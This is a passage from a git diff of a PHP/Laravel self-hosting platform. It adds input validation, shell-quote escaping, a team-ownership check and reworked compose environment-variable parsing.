$teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $runs = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null) { + continue; + } + + if (! str_contains($entry['message'], 'ScheduledJobManager') || str_contains($entry['message'], 'started')) { + continue; + } + + $runs->push([ + 'timestamp' => $entry['timestamp'], + 'message' => $entry['message'], + 'duration_ms' => $entry['context']['duration_ms'] ?? null, + 'dispatched' => $entry['context']['dispatched'] ?? null, + 'skipped' => $entry['context']['skipped'] ?? null, + ]); + } + } + + return $runs->sortByDesc('timestamp')->values()->take($limit); + } + + private function getLogFiles(): array + { + $logDir = storage_path('logs'); + if (! File::isDirectory($logDir)) { + return []; + } + + $files = File::glob($logDir.'/scheduled-*.log'); + + // Sort by modification time, newest first + usort($files, fn ($a, $b) => filemtime($b) - filemtime($a)); + + // Only check last 3 days of logs + return array_slice($files, 0, 3); + } + + /** + * @return array{timestamp: string, level: string, message: string, context: array}|null + */ + private function parseLogLine(string $line): ?array + { + // Laravel daily log format: [2024-01-15 10:30:00] production.INFO: Message {"key":"value"} + if (! preg_match('/^\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\] \w+\.(\w+): (.+)$/', $line, $matches)) { + return null; + } + + $timestamp = $matches[1]; + $level = $matches[2]; + $rest = $matches[3]; + + // Extract JSON context if present + $context = []; + if (preg_match('/^(.+?)\s+(\{.+\})\s*$/', $rest, $contextMatches)) { + $message = $contextMatches[1]; + $decoded = json_decode($contextMatches[2], true); + if (is_array($decoded)) { + $context = $decoded; + } + } else { + $message = $rest; + } + + return [ + 'timestamp' => $timestamp, + 'level' => $level, + 'message' => $message, + 'context' => $context, + ]; + } + + /** + * Efficiently read the last N lines of a file. + * + * @return string[] + */ + private function readLastLines(string $filePath, int $lines): array + { + if (! File::exists($filePath)) { + return []; + } + + $fileSize = File::size($filePath); + if ($fileSize === 0) { + return []; + } + + // For small files, read the whole thing + if ($fileSize < 1024 * 1024) { + $content = File::get($filePath); + + return array_filter(explode("\n", $content), fn ($line) => $line !== ''); + } + + // For large files, read from the end + $handle = fopen($filePath, 'r'); + if ($handle === false) { + return []; + } + + $result = []; + $chunkSize = 8192; + $buffer = ''; + $position = $fileSize; + + while ($position > 0 && count($result) < $lines) { + $readSize = min($chunkSize, $position); + $position -= $readSize; + fseek($handle, $position); + $buffer = fread($handle, $readSize).$buffer; + + $bufferLines = explode("\n", $buffer); + $buffer = array_shift($bufferLines); + + $result = array_merge(array_filter($bufferLines, fn ($line) => $line !== ''), $result); + } + + if ($buffer !== '' && count($result) < $lines) { + array_unshift($result, $buffer); + } + + fclose($handle); + + return array_slice($result, -$lines); + } +} diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index a2da0fc46..2ae1536da 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -17,6 +17,12 @@ class ValidationPatterns */ public const DESCRIPTION_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.,!?()\'\"+=*@\/&]+$/u'; + /** + * Pattern for file paths (dockerfile location, docker compose location, etc.) + * Allows alphanumeric, dots, hyphens, underscores, slashes, @, ~, and + + */ + public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** * Get validation rules for name fields */ @@ -81,7 +87,25 @@ public static function descriptionMessages(): array ]; } - /** + /** + * Get validation rules for file path fields (dockerfile location, docker compose location) + */ + public static function filePathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::FILE_PATH_PATTERN]; + } + + /** + * Get validation messages for file path fields + */ + public static function filePathMessages(string $field = 'dockerfileLocation', string $label = 'Dockerfile'): array + { + return [ + "{$field}.regex" => "The {$label} location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, underscores, slashes, @, ~, and +.", + ]; + } + + /** * Get combined validation messages for both name and description fields */ public static function combinedMessages(): array diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a60a47b93..a4ea6abe5 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -111,13 +111,6 @@ public function execute_remote_command(...$commands) $attempt++; $delay = $this->calculateRetryDelay($attempt - 1); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt, $maxRetries, $delay, $errorMessage, [ - 'server' => $this->server->name ?? $this->server->ip ?? 'unknown', - 'command' => $this->redact_sensitive_info($command), - 'trait' => 'ExecuteRemoteCommand', - ]); - // Add log entry for the retry if (isset($this->application_deployment_queue)) { $this->addRetryLogEntry($attempt, $maxRetries, $delay, $errorMessage); diff --git a/app/Traits/HasMetrics.php b/app/Traits/HasMetrics.php index 667d58441..7ed82cc91 100644 --- a/app/Traits/HasMetrics.php +++ b/app/Traits/HasMetrics.php @@ -2,6 +2,8 @@ namespace App\Traits; +use App\Models\ServerSetting; + trait HasMetrics { public function getCpuMetrics(int $mins = 5): ?array @@ -26,8 +28,13 @@ private function getMetrics(string $type, int $mins, string $valueField): ?array $from = now()->subMinutes($mins)->toIso8601ZuluString(); $endpoint = $this->getMetricsEndpoint($type, $from); + $token = $server->settings->sentinel_token; + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \Exception('Invalid sentinel token format. Please regenerate the token.'); + } + $response = instant_remote_process( - ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"], + ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"], $server, false ); diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index d5c2c996b..43c074cd1 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -92,7 +92,7 @@ function sharedDataApplications() 'static_image' => Rule::enum(StaticImageTypes::class), 'domains' => 'string|nullable', 'redirect' => Rule::enum(RedirectTypes::class), - 'git_commit_sha' => 'string', + 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', 'install_command' => 'string|nullable', @@ -104,12 +104,14 @@ function sharedDataApplications() 'base_directory' => 'string|nullable', 'publish_directory' => 'string|nullable', 'health_check_enabled' => 'boolean', - 'health_check_path' => 'string', - 'health_check_port' => 'string|nullable', - 'health_check_host' => 'string', - 'health_check_method' => 'string', + 'health_check_type' => 'string|in:http,cmd', + 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'health_check_port' => 'integer|nullable|min:1|max:65535', + 'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS', 'health_check_return_code' => 'numeric', - 'health_check_scheme' => 'string', + 'health_check_scheme' => 'string|in:http,https', 'health_check_response_text' => 'string|nullable', 'health_check_interval' => 'numeric', 'health_check_timeout' => 'numeric', @@ -132,8 +134,8 @@ function sharedDataApplications() 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => 'string|nullable', - 'docker_compose_location' => 'string', + 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', 'docker_compose_custom_start_command' => 'string|nullable', diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index 03c53989c..c522cd0ca 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides = $uuid = $overrides['uuid'] ?? (string) new Cuid2; $server = $destination->server; + if ($server->team_id !== currentTeam()->id) { + throw new \RuntimeException('Destination does not belong to the current team.'); + } + // Prepare name and URL $name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid; $applicationSettings = $source->settings; diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 8212f9dc6..7b74392cf 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -139,8 +139,9 @@ function checkMinimumDockerEngineVersion($dockerVersion) } function executeInDocker(string $containerId, string $command) { - return "docker exec {$containerId} bash -c '{$command}'"; - // return "docker exec {$this->deployment_uuid} bash -c '{$command} |& tee -a /proc/1/fd/1; [ \$PIPESTATUS -eq 0 ] || exit \$PIPESTATUS'"; + $escapedCommand = str_replace("'", "'\\''", $command); + + return "docker exec {$containerId} bash -c '{$escapedCommand}'"; } function getContainerStatus(Server $server, string $container_id, bool $all_data = false, bool $throwError = false) @@ -1005,6 +1006,7 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null) '--ulimit' => 'ulimits', '--privileged' => 'privileged', '--ip' => 'ip', + '--ip6' => 'ip6', '--shm-size' => 'shm_size', '--gpus' => 'gpus', '--hostname' => 'hostname', diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 43ba58e59..e84df55f9 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -442,9 +442,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; @@ -986,65 +986,154 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int continue; } if ($key->value() === $parsedValue->value()) { - $value = null; - $resource->environment_variables()->firstOrCreate([ + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, ]); + // Add the variable to the environment using the saved DB value + $environment[$key->value()] = $envVar->value; } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; + + continue; + } $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -1205,6 +1294,13 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } @@ -1233,7 +1329,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1246,7 +1342,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1260,7 +1356,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1271,7 +1367,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1411,6 +1507,9 @@ function serviceParser(Service $resource): Collection return collect([]); } + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($compose); + $server = data_get($resource, 'server'); $allServices = get_service_templates(); @@ -1420,6 +1519,18 @@ function serviceParser(Service $resource): Collection return collect([]); } $services = data_get($yaml, 'services', collect([])); + + // Clean up corrupted environment variables from previous parser bugs + // (keys starting with $ or ending with } should not exist as env var names) + $resource->environment_variables() + ->where('resourceable_type', get_class($resource)) + ->where('resourceable_id', $resource->id) + ->where(function ($q) { + $q->where('key', 'LIKE', '$%') + ->orWhere('key', 'LIKE', '%}'); + }) + ->delete(); + $topLevel = collect([ 'volumes' => collect(data_get($yaml, 'volumes', [])), 'networks' => collect(data_get($yaml, 'networks', [])), @@ -1597,9 +1708,9 @@ function serviceParser(Service $resource): Collection $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; @@ -1694,51 +1805,60 @@ function serviceParser(Service $resource): Collection } // ALWAYS create BOTH base SERVICE_URL and SERVICE_FQDN pairs (without port) + $fqdnKey = "SERVICE_FQDN_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}", + 'key' => $fqdnKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnv, 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); + $urlKey = "SERVICE_URL_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}", + 'key' => $urlKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); // For port-specific variables, ALSO create port-specific pairs // If template variable has port, create both URL and FQDN with port suffix if ($parsed['has_port'] && $port) { + $fqdnPortKey = "SERVICE_FQDN_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}_{$port}", + 'key' => $fqdnPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnvWithPort, 'is_preview' => false, + 'comment' => $envComments[$fqdnPortKey] ?? null, ]); + $urlPortKey = "SERVICE_URL_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}_{$port}", + 'key' => $urlPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $urlWithPort, 'is_preview' => false, + 'comment' => $envComments[$urlPortKey] ?? null, ]); } } } $allMagicEnvironments = $allMagicEnvironments->merge($magicEnvironments); if ($magicEnvironments->count() > 0) { - foreach ($magicEnvironments as $key => $value) { - $key = str($key); + foreach ($magicEnvironments as $magicKey => $value) { + $originalMagicKey = $magicKey; // Preserve original key for comment lookup + $key = str($magicKey); $value = replaceVariables($value); $command = parseCommandFromMagicEnvVariable($key); if ($command->value() === 'FQDN') { @@ -1762,6 +1882,8 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create FQDN variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1769,11 +1891,25 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $fqdn, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_URL_* variable + $urlKey = 'SERVICE_URL_'.strtoupper($fqdnFor); + $resource->environment_variables()->firstOrCreate([ + 'key' => $urlKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $url, + 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); } elseif ($command->value() === 'URL') { $urlFor = $key->after('SERVICE_URL_')->lower()->value(); $url = generateUrl(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid"); + $fqdn = generateFqdn(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid", parserVersion: $resource->compose_parsing_version); $envExists = $resource->environment_variables()->where('key', $key->value())->first(); // Also check if a port-suffixed version exists (e.g., SERVICE_URL_DASHBOARD_6791) @@ -1790,6 +1926,8 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create URL variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1797,6 +1935,19 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_FQDN_* variable + $fqdnKey = 'SERVICE_FQDN_'.strtoupper($urlFor); + $resource->environment_variables()->firstOrCreate([ + 'key' => $fqdnKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $fqdn, + 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); } else { @@ -1808,6 +1959,7 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } } @@ -2163,18 +2315,20 @@ function serviceParser(Service $resource): Collection return ! str($value)->startsWith('SERVICE_'); }); foreach ($normalEnvironments as $key => $value) { + $originalKey = $key; // Preserve original key for comment lookup $key = str($key); $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); if ($parsedValue->startsWith('SERVICE_')) { - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); continue; @@ -2183,65 +2337,169 @@ function serviceParser(Service $resource): Collection continue; } if ($key->value() === $parsedValue->value()) { - $value = null; - $resource->environment_variables()->firstOrCreate([ + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); + // Add the variable to the environment using the saved DB value + $environment[$key->value()] = $envVar->value; } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + // Use firstOrCreate instead of updateOrCreate to avoid overwriting user edits + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + // Extract and create nested variables + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + // Create nested variable with its default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + // Simple nested variable without default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + // Look for more nested variables + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; + + continue; + } + // Variable with a default value from compose — use firstOrCreate to preserve user edits $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -2307,6 +2565,13 @@ function serviceParser(Service $resource): Collection // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } diff --git 